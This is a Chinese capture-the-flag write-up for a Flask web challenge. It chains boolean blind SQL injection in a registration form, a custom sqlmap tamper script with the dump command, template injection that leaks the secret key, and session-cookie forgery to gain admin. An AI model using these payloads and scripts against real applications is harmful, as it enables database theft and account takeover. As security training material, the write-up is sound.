打开页面,还是登录注册,随便注册一个账号,并扫描一下路径。登录之后发现所有信息都放在这里:
考虑一下有没有注入,发现username和mail都没有,抓包cookie里发现jwt:
==》
在 jwt.io
中生成的 JWT 使用的是特定的算法(如 HMAC SHA256),并且可以设置特定的密钥和有效载荷。Flask 的 session
默认使用 Flask 内部的签名机制,可能不会以 JWT 格式生成,具体实现可能与 JWT 的结构和内容不同。因此直接使用 jwt.io
一般无法直接生成session
源码也没有发现东西,路径扫描得到/flag
路径,访问:
if session[‘isadmin’]: return flag
需要session设置isadmin
,那现在需要找到secretkey,因为是flask,应该要通过ssti找config,但是username和mail也不能ssti,测试一下注册页面有无注入,发现注册页面的mail可以sql:
因为没有回显位置,只能试试bool注入:
使用payload
water3@666.com' AND 'c'>'b' AND 'ckJV'='ckJV
此时返回已经注册:
使用payload
water3@666.com' AND 'a'>'b' AND 'ckJV'='ckJV
返回注册成功:
后台逻辑应该是判断数据库中是否有相同的名字或者邮件,如果有(true
)则返回已经注册,否则可以进入一下步判定,因此每次发包使用固定的mail+payload
,然后使用不同的username
,这里需要写一个tamper使用sqlmap:
tamper.py(参照官方wp,由于新版本不支持urllib.quote(),需要从urllib.parse导入:
import re
import string
import random
from urllib.parse import quote
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
headers = kwargs.get("headers",{})
headers["Content-type"] = "application/x-www-form-urlencoded"
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 12))
raw_data = "username={}&passwd=aiyo&mail="
new_payload = quote('aiyo@qq.com'+payload)
return raw_data.format(ran_str) + new_payload
在 sqlmap 的 tamper
脚本目录中需要有一个空的 __init__.py
文件以便 Python 将该目录识别为一个包,从而允许从该目录导入脚本。然后就可以使用sqlmap了:
sqlmap -r target.txt --tamper ~/work/sqlmap/tamper.py --technique=B --skip-urlencode --string 'Already Registered' -D SQLite -T users -C username --dump --proxy="http://127.0.0.1:8080"
这里,代理到bp以便学习一下payload,他这里用'ckJV'='ckJV
作为结尾闭合自动添加在末尾的'
,学到了。
--string
指定代表注入成功的字符串,在tamper中我们已经编码了payload防止sqlmap双重编码,因此--skip-urlencode
最后注入的到用户名admin
和密码h4ck4fun
此时发现多了一个邮箱修改功能:
由于邮箱会显示在主页,我们考虑应该在这里有ssti:{2*3}
ssti学完之后手工做的不多,这里忘得差不多了,想不起来怎么找继承链(本来也不太会),这里使用{user.__class__.__init__.__globals__[current_app].config}
得到secret key:d327b7e36b7845956bf8db4de198437a
此时借助工具GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder可以制作一个cookie-session去访问/flag:
./flask_session_cookie_manager3.py encode -s '{secret_key}' -t "{'isadmin': 1, 'user': (1, 'admin', 'water3@666.com')}"
使用生成的cookie访问即可